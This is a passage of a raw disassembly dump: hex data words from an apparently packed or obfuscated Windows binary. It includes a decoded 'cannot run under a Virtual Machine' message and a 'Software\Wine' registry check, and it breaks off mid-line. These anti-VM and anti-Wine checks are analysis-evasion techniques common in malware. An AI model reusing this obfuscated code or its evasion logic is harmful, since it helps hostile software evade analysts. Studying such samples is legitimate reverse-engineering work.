72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0) aSoftwareWine db 'Software\Wine',0 dw 0C48Bh dd 25CEAFB9h, 2D858967h, 6606072Ch, 8BD4FCBFh, 8E8C0h dd 13910000h, 0F33B1E2Ch, 0FE9F4D1h, 10000000h, 3672A082h dd 0B9BB5D9Fh, 68FC154Ah, 8359AF46h, 70FF5BDh, 9750006h dd 3001BD83h, 74000607h, 8B535019h, 43DB8C0h, 85890000h dd 60709D5h, 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh, 6073001h dd 50177400h, 43DB853h, 85890000h, 60709D5h, 0A9969D8Dh dd 0D3FF0609h, 0B70F585Bh, 0B5C08BFFh, 6AC08BAAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0ADBCC350h, 5F0422C9h, 0D58ACA22h, 0FF5BD83h, 75000607h dd 1BD8309h, 60730h, 53501374h, 0B8C08Bh, 8D000000h, 9AB499Dh dd 5BD3FF06h, 1BD8358h, 60730h, 53501174h, 0B8h, 0FA9D8D00h dd 0FF0609A9h, 66585BD3h, 1C30D781h, 0C08BC1B6h, 0FE8h dd 1DCF3100h, 4FF78A32h, 0E8820855h, 6DE4616Fh, 5F40D280h dd 0B589C08Bh, 6070DDDh, 0FF5BD83h, 75000607h, 1BD8309h dd 60730h, 53501374h, 0B8C08Bh, 8D000000h, 9AA7B9Dh, 5BD3FF06h dd 1BD8358h, 60730h, 53501174h, 0B8h, 0C89D8D00h, 0FF0609A9h dd 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 56FEC355h, 6AD78AAFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 3148C355h, 70DB9BDh, 0AE906h, 0F9540000h, 0F32C056h dd 0CA95894Eh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 61EBE0C3h, 8C4FD8C8h, 0FC08BF1h dd 86h, 518D0B00h, 83060715h, 70FF5BDh, 9750006h, 3001BD83h dd 74000607h, 8B535013h, 0B8C0h, 9D8D0000h, 609AAE2h, 585BD3FFh dd 3001BD83h, 74000607h, 0B8535011h, 0 dd 0A9E19D8Dh, 0D3FF0609h, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5A39DAC3h dd 0B0FFF05Eh, 661A22CFh, 0F79DF781h, 2B999D31h, 8F0F0607h dd 6, 1A6DBD89h, 0C08B0607h, 13A1958Bh, 0C08B0607h, 1EC58D89h dd 0BD830607h, 6070FF5h, 83097500h, 73001BDh, 13740006h dd 0C08B5350h, 0B8h, 149D8D00h, 0FF0609AAh, 0E8585BD3h dd 12h, 0B5F35F1Bh, 59FF0FE9h, 785D0A19h, 0D7764267h, 8E0F92F7h dd 6, 2759589h, 6A590607h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 61E9C352h, 0CC8A03DEh dd 95895952h, 6072D41h, 0BF66C08Bh, 0C08B8A9Eh, 19F806BAh dd 0F5BD830Ah, 6070Fh, 0BD830975h, 6073001h, 50197400h dd 0B8C08B53h, 7D0h, 9D58589h, 9D8D0607h, 609ACA7h, 585BD3FFh dd 3001BD83h, 74000607h, 0B8535017h, 7D0h, 9D58589h, 9D8D0607h dd 609A996h, 585BD3FFh, 31CFB70Fh, 71D058Dh, 8BC08B06h dd 72D75BDh, 585C606h, 5306072Ch, 55F18166h, 8B666009h dd 859529FEh, 61060701h, 395F9068h, 0E18A6099h, 4DD28166h dd 8F0F614Bh, 6, 1D39B501h, 0B5FF0607h, 6071B2Dh, 68C0F50h dd 8B000000h, 730C58Dh, 0F7815906h, 2CF1C3A8h, 3B24858Dh dd 85890607h, 607153Dh, 8B0FD0FFh, 14h, 0BE8h, 0A5E26200h dd 6571A82Ch, 80BCDE50h, 5A29D180h, 0D3EFB7BFh, 0BD85895Fh dd 66060700h, 85C6FB8Bh, 6072C05h, 79958957h, 68060731h dd 90045206h, 72DBD89h, 0B5FF0607h, 6071B2Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1BC35343h, 9D31281Eh dd 6D11A745h, 0B9958B51h, 5906072Fh, 3B24858Dh, 880F0607h dd 1, 66D0FFF9h, 7A9ECA81h, 1AC98589h, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 6F1704C3h, 0B70FBBC6h, 585C6CFh, 4306072Ch, 128B0Fh dd 0DE90000h, 5A000000h, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h dd 90702868h, 53006ABCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 2C72066Ah, 0C9956ECFh, 958B69BAh dd 6072EA5h, 0FFFABF0Fh, 71B2DB5h, 0A1858906h, 8D06071Ch dd 73B2485h, 0C8F0F06h, 0E9000000h, 7, 28879AE0h, 0FFD60C30h dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 89EEB24Ah, 7137985h, 9D8D8906h, 0C6060714h dd 72C0585h, 8D894C06h, 60711C1h, 2E618D8Bh, 0E9680607h dd 6AD9DA1Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 85F4C350h, 1B2DB5FFh, 880F0607h dd 14h, 0CE8h, 0F4191B00h, 346E2C83h, 9976BCF4h, 5F5F51EBh dd 0B5B50960h, 6106071Ah, 3B24858Dh, 0D0FF0607h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B2C35343h, 0F1858964h dd 8B060710h, 72D31BDh, 585C606h, 4606072Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 0DE061468h dd 0F1B531BAh, 0FF06071Ch, 71B2DB5h, 0F98B6006h, 8D61F78Bh dd 73B2485h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 747D1A4Fh, 0A9BD8BF4h, 0FF06070Ah dd 4D9589D0h, 0F060708h, 688h, 5D8D8B00h, 8906071Eh, 703B185h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 31B5891Ch, 0E9060732h, 11h, 0B3075985h dd 8A16F884h, 1D4676F3h, 37A8C223h, 585C627h, 4706072Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 84C35343h dd 0A494197Bh, 68F9FB9Fh, 8A0FB5E2h, 0F8D0F60h, 0E9000000h dd 0Ah, 8EDF2232h, 0ACABA4B0h, 0F281D741h, 6B61E99Dh, 2DB5FF61h dd 0F06071Bh, 78Ah, 1810F00h, 0FC000000h, 3B24858Dh, 81660607h dd 0FF7304C1h, 895BB1D0h, 70BE185h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0C6E0CDA9h dd 72C0585h, 4CBF4706h, 6878C64Ch, 83D0B5F3h, 2DB5FFF8h dd 8906071Bh, 701818Dh, 24858D06h, 906073Bh, 7274985h dd 89D0FF06h, 7316185h, 0F18D8B06h, 8906070Fh, 7320D85h dd 9D858906h, 0C6060715h, 72C0585h, 0BD337706h, 60715F9h dd 0DDD8509h, 0A3680607h, 6AF397A8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8AB2C352h dd 0CE8B66D3h, 1B01B5FFh, 6E90607h, 8D000000h, 0BEBFA67Fh dd 24858DE6h, 6A06073Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 19BC351h, 730ED85h dd 9D0FF06h, 70829B5h, 69858906h, 8906072Bh, 70E458Dh dd 585C606h, 4706072Ch, 0C058531h, 0F6680607h, 6A8728FAh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 8C24C351h, 2DB5FF34h, 6006071Bh, 0CFAA86BAh dd 61FA8B18h, 3B24858Dh, 0B9660607h, 0D0FF05D2h, 21D9B589h dd 85890607h, 60725F1h, 0C6F88B66h, 72C0585h, 66604306h dd 0DE5ED681h, 1F599D8Bh, 68610607h, 0BC8E6EFCh, 21818D01h dd 0B5FF0607h, 6071B2Dh, 5890Fh, 61BF0000h, 8D5D9F6Dh dd 73B2485h, 1D8D8906h, 0FF06070Dh, 89D18BD0h, 7072985h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BD29F5DAh, 60731D5h, 2C0585C6h, 53450607h dd 5EB054BAh, 69685A34h, 8B8E7269h, 2DB5FFD6h, 106071Bh dd 715DDB5h, 15858906h, 8D060702h, 73B2485h, 6AD0FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 89F0C351h, 707D185h, 585C606h, 4406072Ch dd 0A85B501h, 64680607h, 8BB8F2ECh, 2DB5FFCFh, 2906071Bh dd 707599Dh, 24858D06h, 0F06073Bh, 682h, 0EDB58900h, 0FF06070Bh dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0C260C3A1h, 89ED8051h, 7D8D8B5Fh, 89060713h dd 72BC585h, 158D8B06h, 0C6060708h, 72C0585h, 800F4306h dd 0 dd 0EAC18166h, 4AA768C5h, 8589C076h, 6071B29h, 1B2DB5FFh dd 958B0607h, 6072CEDh, 3B24858Dh, 0BD030607h, 6071399h dd 4DB2D0FFh, 1FF98589h, 95010607h, 60708A1h, 0FBBD80h dd 0F00060Ah, 0F284h, 89958B00h, 8D06071Dh, 0A00DD85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 830F5040h, 5, 97E98166h, 0F505FBFh, 16ACEBFh dd 8B0Fh, 6A0000h, 6810F60h, 81000000h, 889CD1EFh, 0CE855h dd 14B30000h, 6704EA34h, 2AC73D6Eh, 0B52980EFh, 6072645h dd 6A6158h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 90C35040h, 65194A15h, 6018D8Bh, 13E90607h, 2B000000h dd 0BE79AF68h, 54CA00F8h, 0D7025FA4h, 7CFEFC23h, 95FFD3D8h dd 6071379h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0ADC35343h, 897565C4h, 7089DB5h, 0E9858906h, 0F806071Bh dd 8166FF6Ah, 0FF6CC6D2h, 71BE9B5h, 95FFF506h, 6071AC9h dd 8BE1CD80h, 0FBBF0FC0h, 0FF5BD83h, 75000607h, 1BD8309h dd 60730h, 53501974h, 0D1B8C08Bh, 89000007h, 709D585h dd 0A79D8D06h, 0FF0609ACh, 83585BD3h, 73001BDh, 17740006h dd 0D1B85350h, 89000007h, 709D585h, 969D8D06h, 0FF0609A9h dd 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 3F7AC355h, 0D9816614h, 958B6ED8h dd 6070529h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0ABC35343h, 92720457h, 809C82F4h, 0C08BF7F2h, 53F28B60h dd 59F98B66h, 585C661h, 4706072Ch, 14B1BD8Bh, 0C1680607h dd 8B93C8F7h, 728E1BDh, 5870F06h, 66000000h, 4D5EF81h dd 1B2DB5FFh, 0BA660607h, 858D6A30h, 6073B24h, 1800Fh dd 0FFF50000h, 0C146B9D0h, 0FC500EEEh, 51E858Dh, 8166060Ah dd 0C76B62C9h, 9400h, 85858900h, 5806072Dh, 8007DA81h dd 0B58D1080h, 60A051Eh, 11E99589h, 31560607h, 724A5BDh dd 0FD0FF06h, 85h, 1E858D00h, 66060A05h, 7883C88Bh, 850F0604h dd 54h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 0E8C35040h, 0F74D6156h, 0BF958AE8h, 4A8B947Ah, 5B285C7h dd 1060Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 7C6157C3h, 9746045h, 3171BD83h dd 0F000607h, 6385h, 837EB200h, 0A05B2BDh, 850F0006h, 54h dd 55BD89h, 0BD830607h, 60705FDh, 41840F00h, 0E8000000h dd 13h, 406D8C0Bh, 567BABD1h, 8D936AA2h, 0A7332619h, 6666E1FFh dd 5962B2BFh, 0C7D18B66h, 71CB985h, 6, 0CE900h, 3C370000h dd 935CAC78h, 8BFBD09Fh, 8D8BA098h, 6072615h, 60DB8C66h dd 0FBCE8166h, 9BBB66F0h, 0C3F66139h, 0D4840F04h, 0BA000005h dd 42613232h, 0FFBF0F60h, 0C761CF8Bh, 7218D85h, 6, 81666000h dd 80BB55D6h, 0B1611AEFh, 8BD8055h, 60A01h, 2F850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0C9FDEFC3h, 27949252h, 6810F99h, 29000000h, 710498Dh dd 585C606h, 4706072Ch, 0B554C781h, 86686C2Eh, 66E3E45Bh dd 0B5FFD38Bh, 6071B2Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0DEC35242h, 1999E45Dh, 8D8B57CAh, 6070D35h dd 0C58D3359h, 8D060730h, 73B2485h, 718D3306h, 0FF06072Dh dd 13E8D0h, 74350000h, 173C648Ch, 0BA10577h, 0C65535E9h dd 97241D61h, 5FCC8ADCh, 10468h, 1CF8B00h, 731318Dh, 0A59D8D06h dd 6A06070Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0A38EC357h, 250583DBh, 0CB8B5303h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0BE2E7EC3h, 0DCE1D5C7h, 6258589h, 8A0F0607h dd 19h, 14E9h, 7B31DE00h, 305DD2B4h, 40211A2Bh, 5027585h dd 0C679E74Eh, 0A5858D1Dh, 6A06070Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7C03C357h dd 3C7CC2EFh, 0BF66404Fh, 81504D13h, 378CF2DAh, 0BA858D55h dd 0F060A00h, 6A50CAB7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0D424C350h, 16BB1478h dd 5BD89FBh, 8D060704h, 9F78D85h, 0EE906h, 0DDDA0000h dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 8B605350h, 70C89BDh dd 919D2906h, 6106070Dh, 6995FF5Ah, 106072Bh, 7009595h dd 0CC48306h, 97DCBE60h, 0BD8B0FFBh, 607080Dh, 68006A61h dd 80h, 6A036Ah, 68006Ah, 8D800000h, 9F78D85h, 95FF5006h dd 6070729h, 9D8589h, 85C6060Ah, 6072C05h, 5E876847h, 0B5FFC7B1h dd 6071B2Dh, 3B24858Dh, 0D0FF0607h, 0B5FF006Ah, 60A009Dh dd 8B66D0FFh, 8FB966F8h, 37D03D2Ch, 830F0000h, 40h, 1329B509h dd 0B5FF0607h, 60A009Dh, 11E8h, 58E5BE00h, 8ABE7B93h, 5CA403EBh dd 32EDBF6Bh, 8D8B563Ah, 60712DDh, 0F995FF5Fh, 2906071Fh dd 716A1B5h, 0D3E906h, 8D330000h, 60703ADh, 9DB5FFh, 860F060Ah dd 3, 0FFC8B70Fh, 71FF995h, 6AF4B106h, 0CF42B900h, 81663902h dd 6A0ECDC1h, 0CE900h, 0CDD40000h, 20EB115Dh, 5FCCA4F3h dd 6A713Ah, 1D45B589h, 6A0607h, 1D39BD8Bh, 6A0607h, 27ADBD8Bh dd 6A0607h, 0FDE18166h, 0A1858D70h, 6A060A00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 903BC350h, 5AB4833Ch, 2083480Bh, 418D8BF5h, 5006072Dh dd 426BF66h, 72995FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 4E9D30C3h, 0C05924EFh dd 7BF680DFh, 0CDBD8951h, 5F060705h, 0FFFF883h, 1C585h dd 0A5B96600h, 2D858D88h, 6A0609BCh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7932C356h dd 958B565Bh, 6072C01h, 8BD0FF5Ah, 7172995h, 89006A06h dd 710C99Dh, 658D3106h, 6A060717h, 0CE900h, 7AE80000h dd 21AD642Bh, 84456851h, 6AA41Ah, 0C8A0Fh, 810F0000h, 6 dd 1DF9BD09h, 6A0607h, 3AD28166h, 89006A2Ch, 72FB185h dd 6AF88B06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 5E5C89F7h, 6B408742h, 19BD8BF3h dd 0E8060730h, 5, 7BC34202h, 858D590Eh, 60A00A1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D7C35343h, 0CC381D4Dh dd 0E850D18Bh, 5, 93A498BFh, 18850F07h, 0E8000000h, 12h dd 0BF1F1FBFh, 0B7F85BB1h, 0BA36A7C4h, 5D606440h, 59596306h dd 72995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 42E3C0C3h, 9AA9619Ah, 83B7B606h dd 850FFFF8h, 8Ah, 7E9h, 2AC1600h, 0AE6C9B56h, 0FAA9B58Dh dd 0E9570609h, 0Bh dd 1BDAF7AFh, 63F59562h, 5F3A79F3h, 0A676858Dh, 0F570609h dd 48Bh, 0BDBA6600h, 950359B3h, 6072B71h, 6AD0FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 547641C3h, 318D8980h, 6A060716h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF8F3Eh dd 60707D1h, 8589D08Bh, 60A009Dh, 6ACE8Bh, 23B9BF66h, 0E45BD8Bh dd 858D0607h, 60A0095h, 9E8h, 0D0B3B300h, 669B002Fh, 0BF0F3E64h dd 8D8B5FC9h, 6070395h, 46AFC50h, 1ADF8166h, 0BD858DBFh dd 906072Fh, 720B185h, 0BD8B5006h, 6071D89h, 0FE9006Ah dd 0A0000000h, 4E5BAF5Ah, 0FA5F8C9Dh, 550EC887h, 6ADE41h dd 4800Fh, 0BA660000h, 16A196Dh, 9DB5FFF5h, 0FF060A00h dd 72BC595h, 8F0F06h, 0E9000000h, 1AF6h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 41C35646h, 0EDBD8B5Ah dd 8B060704h, 519D09C0h, 60060717h, 127D858Bh, 0B7B90607h dd 610008BAh, 0FF5BD83h, 75000607h, 1BD8309h, 60730h, 53501974h dd 0D2B8C08Bh, 89000007h, 709D585h, 0A79D8D06h, 0FF0609ACh dd 83585BD3h, 73001BDh, 17740006h, 0D2B85350h, 89000007h dd 709D585h, 969D8D06h, 0FF0609A9h, 0F9585BD3h, 2B758529h dd 0C08B0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0C3C35545h, 14E94Ch, 0AA30000h, 0E8A7160Fh, 0B784401Ah dd 5D9C4530h, 63FE6D2Ah, 85C70032h, 607218Dh, 1, 6800Fh dd 9D890000h, 607282Dh, 0E4E7B868h, 95B5FFCEh, 8D06071Eh dd 73B2485h, 89D0FF06h, 71B5585h, 0F9858D06h, 50060A02h dd 5B6858Dh, 6850060Ah, 80000001h, 1B5595FFh, 0C00B0607h dd 85C70A75h, 60708B5h, 1, 5DBD468h, 95B5FFC0h, 8D06071Eh dd 73B2485h, 89D0FF06h, 7308D85h, 46858D06h, 500609F5h dd 1B2DB5FFh, 95FF0607h, 6070BE1h, 0B74C00Bh, 858DD88Bh dd 60A04F9h, 8DD3FF50h, 0A04F985h, 38836606h, 0C70A7509h dd 72AA185h, 106h, 0F195FF00h, 25060725h, 0FFh, 7305F883h dd 2585C70Ah, 1060713h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 627DC357h dd 0F87003D7h, 80FD2DF2h, 8D8BDAEAh, 607132Dh, 108BD80h dd 0F00060Ah, 3784h, 31605600h, 731B9BDh, 0FA89BE06h, 59615D7Ch dd 5B2BD83h, 0F00060Ah, 2684h, 15850F00h, 0E8000000h, 0Eh dd 686906B3h, 960D29CDh, 79A334DBh, 5FF8BD0Ah, 18FDE9h dd 0DD8D8B00h, 8306071Ch, 72AA1BDh, 850F0006h, 0E6h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 40C35343h, 0C9B589F5h dd 0E8060720h, 9, 92D4B6F8h, 0CF097AD6h, 6830F65h, 1000000h dd 7013185h, 858D5906h, 60A00D2h, 0A9F18150h, 6A035D79h dd 51006A01h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1D093850h, 6A8A1Ch, 627DC781h, 6A75F7h dd 3840Fh, 0E9800000h, 7995FF1Fh, 6A060713h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0D453C350h, 0FB6C2D9h, 8589CAB7h, 60A00FCh, 6AFABF0Fh dd 0F98B66FFh, 0FCB5FFh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 95FF10C3h, 6071AC9h dd 1CC58589h, 858D0607h, 609F50Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0C6C35141h, 0F4D8BA81h, 6A5058B3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 4CBCC353h, 7B9F2425h, 0D2BF0FEAh, 41CF8166h dd 0F195FF06h, 66060710h, 8589CB8Bh, 609F597h, 0F51A858Dh dd 81510609h, 58A455F7h, 57505F29h, 6102D181h, 0FF5F723Ch dd 9F597B5h, 57D18006h, 0BE195FFh, 958B0607h, 6070DD1h dd 1F5D8589h, 81F50607h, 28D131E7h, 88858D74h, 6A0609F5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 4EACC351h, 0E9858968h, 5006071Dh, 0A71BD8Bh dd 0B5FF0607h, 609F597h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0F7C35545h, 11E8BCh, 4EE30000h, 39C81815h dd 0D6AB66D8h, 0DA736421h, 803FDBAFh, 0B65FC7E6h, 0E195FF94h dd 0B206070Bh, 0AB858928h, 0B90609F5h, 17C797EAh, 0F567858Dh dd 85890609h, 6073249h, 0FFFA8B50h, 9F597B5h, 0D5853106h dd 0FF060714h, 70BE195h, 5DB58906h, 89060700h, 9F5A385h dd 0A9C28106h, 8D710C60h, 9F55A85h, 0B5FF5006h, 609F597h dd 2C99529h, 95FF0607h, 6070BE1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0BBC35747h, 35C04FBCh, 8D312076h dd 6070C35h, 66FB8B60h, 61CAB9B8h, 0F5A78589h, 0CE90609h dd 0AB000000h, 0F86E0861h, 115ABAD0h, 8D69892Ah, 9F57585h dd 0FB8B6606h, 0B59D8950h, 0FF06071Eh, 9F597B5h, 0C98D8B06h dd 0FF060702h, 70BE195h, 0F605106h, 8Dh, 61F0B500h, 0E185895Fh dd 29060715h, 70DD195h, 29858D06h, 8B0609F5h, 8A0F50C8h dd 6, 1A858D8Bh, 0B5FF0607h, 609F597h, 8AD28166h, 0E195FF64h dd 6006070Bh, 0FC8BAEB9h, 0AE97Fh, 2AC90000h, 6BC9C491h dd 840491EAh, 9B858961h, 290609F5h, 701458Dh, 38858D06h dd 890609F5h, 70989B5h, 6A5006h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 5CB2B9C3h, 0B80E75B9h dd 0FFDA9599h, 9F597B5h, 0FE906h, 14A50000h, 0E194C4D6h dd 4EF7836Dh, 0F6D50A81h, 0E195FF56h, 2B06070Bh, 716C995h dd 9F858906h, 8B0609F5h, 10468F8h, 0BD8B0000h, 6070129h dd 0F62F858Dh, 53500609h, 81BA6657h, 8D595A87h, 9F73385h dd 0CB8B6606h, 6FBA6650h, 0D95FF53h, 51060732h, 855915B1h dd 6850FC0h, 8B000000h, 705018Dh, 8BD8006h, 60A01h, 14850Fh dd 8B660000h, 1BE9F8FBh, 60000015h, 8B56ED80h, 706098Dh dd 0BD836106h, 6072AA1h, 41850F00h, 0BA000000h, 790045EBh dd 5B2BD83h, 0F00060Ah, 7784h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 3465DDCEh dd 0FF96845h, 78Fh, 81665100h, 5F7010D1h, 0F5CC858Dh, 9D890609h dd 6070FB9h, 14B1E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 296591CDh, 7122D95h, 0BD8B5006h dd 6070A31h, 41E95Ah, 0B5890000h, 6070415h, 0F5B7858Dh dd 6A0609h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0EFD5DDC3h, 20D8A3C5h, 810FA366h, 0Bh, 6E9h dd 0D59DB00h, 502869C6h, 0DE9h, 0A03D3100h, 3C007A67h dd 0EB1B2913h, 858DCC52h, 609F62Fh, 14E957h, 68CC0000h dd 778C3536h, 0EA1979E0h, 1C12FF7h, 0CDBBC169h, 505A63EAh dd 83D68B66h, 72AA1BDh, 840F0006h, 17h, 8D1FCA80h, 9F75585h dd 0DB58906h, 0E906071Fh, 9, 8D4BC180h, 9F73E85h, 8E0F5006h dd 2, 858DFB8Bh, 609F78Dh, 2860Fh, 33B60000h, 8D295650h dd 6070A7Dh, 89BD895Fh, 0FF06070Ah, 72B6995h, 83EF8A06h dd 0E28110C4h, 31004428h, 14E8C08Bh, 0EE000000h, 67F6049Bh dd 73D509E0h, 17D451F5h, 0F585C07Fh, 3392BED3h, 72C19BDh dd 0BD835A06h, 6070FF5h, 83097500h, 73001BDh, 19740006h dd 0C08B5350h, 7D3B8h, 0D5858900h, 8D060709h, 9ACA79Dh dd 5BD3FF06h, 1BD8358h, 60730h, 53501774h, 7D3B8h, 0D5858900h dd 8D060709h, 9A9969Dh, 5BD3FF06h, 14E958h, 0C8B0000h dd 0E177E323h, 0F0D1576Eh, 97408328h, 0B7215B68h, 0A6B604C7h dd 3199BD03h, 0C08B0607h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 8FC35040h, 0BD81F518h, 609F5B7h, 6165726Fh dd 0B6840Fh, 89500000h, 7318585h, 858D5A06h, 609F62Fh dd 6C858D50h, 500609F7h, 0F78D858Dh, 0FF500609h, 72B6995h dd 0CC48306h, 2C0585C6h, 68440607h, 96A3184Fh, 1B2DB5FFh dd 858D0607h, 6073B24h, 0D88BD0FFh, 0F78D858Dh, 0FF500609h dd 0B7858DD3h, 500609F5h, 0F62F858Dh, 83500609h, 72AA1BDh dd 8740006h, 0F755858Dh, 6EB0609h, 0F73E858Dh, 8D500609h dd 9F78D85h, 95FF5006h, 6072B69h, 6A10C483h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 3CF4C350h, 0D1816687h, 8E0F2394h, 0Ch, 6820Fh, 0BD8B0000h dd 6072DE1h, 25F195FFh, 7BBA0607h, 0F703715h, 58Eh, 0F1F9BF00h dd 0FF253345h, 29000000h, 7258D9Dh, 5F88306h, 5B830Fh dd 81660000h, 0C7137BF2h, 7132585h, 106h, 45BD8B00h, 8D060712h dd 9F5EB85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 23846C79h, 35DE3B9Bh, 1A918D8Bh dd 68E90607h, 0F000000h, 0C8Dh, 6820F00h, 89000000h, 730F5B5h dd 0A1BD8306h, 6072Ah, 3D840Fh, 0B5290000h, 6071359h, 0F616858Dh dd 95890609h, 6071EA1h, 32E9h, 9D896000h, 6072D71h, 13E9h dd 0F4917A00h, 0A7853A9Bh, 6D9920D1h, 8610AE6Bh, 38FCC5AEh dd 45BD8B61h, 8D060701h, 9F5F885h, 258D8B06h, 89060731h dd 9F62B85h, 9E906h, 0D73C0000h, 810D02ADh, 8361BF4Fh dd 72AA1BDh, 850F0006h, 3Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0ABC35646h, 8BFEC5A0h, 5B2BD83h dd 0F00060Ah, 1684h, 830F5000h, 6, 27918D01h, 0E95A0607h dd 10F6h, 0E95BDA80h, 466h, 12E19D89h, 0C08B0607h, 0C318D8Bh dd 0BD830607h, 6070FF5h, 83097500h, 73001BDh, 19740006h dd 0C08B5350h, 7D4B8h, 0D5858900h, 8D060709h, 9ACA79Dh dd 5BD3FF06h, 1BD8358h, 60730h, 53501774h, 7D4B8h, 0D5858900h dd 8D060709h, 9A9969Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0BE8E5h, 0C4C40000h dd 0CF1BCDD2h, 0C1E1A0E7h, 0E6BF66C3h, 9D895F4Ch, 6072E25h dd 840FC08Bh, 6, 27898529h, 3F680607h, 0F000F00h, 6AD0BFh dd 3CCDF181h, 6A22BCh, 1DE98D8Bh, 95FF0607h, 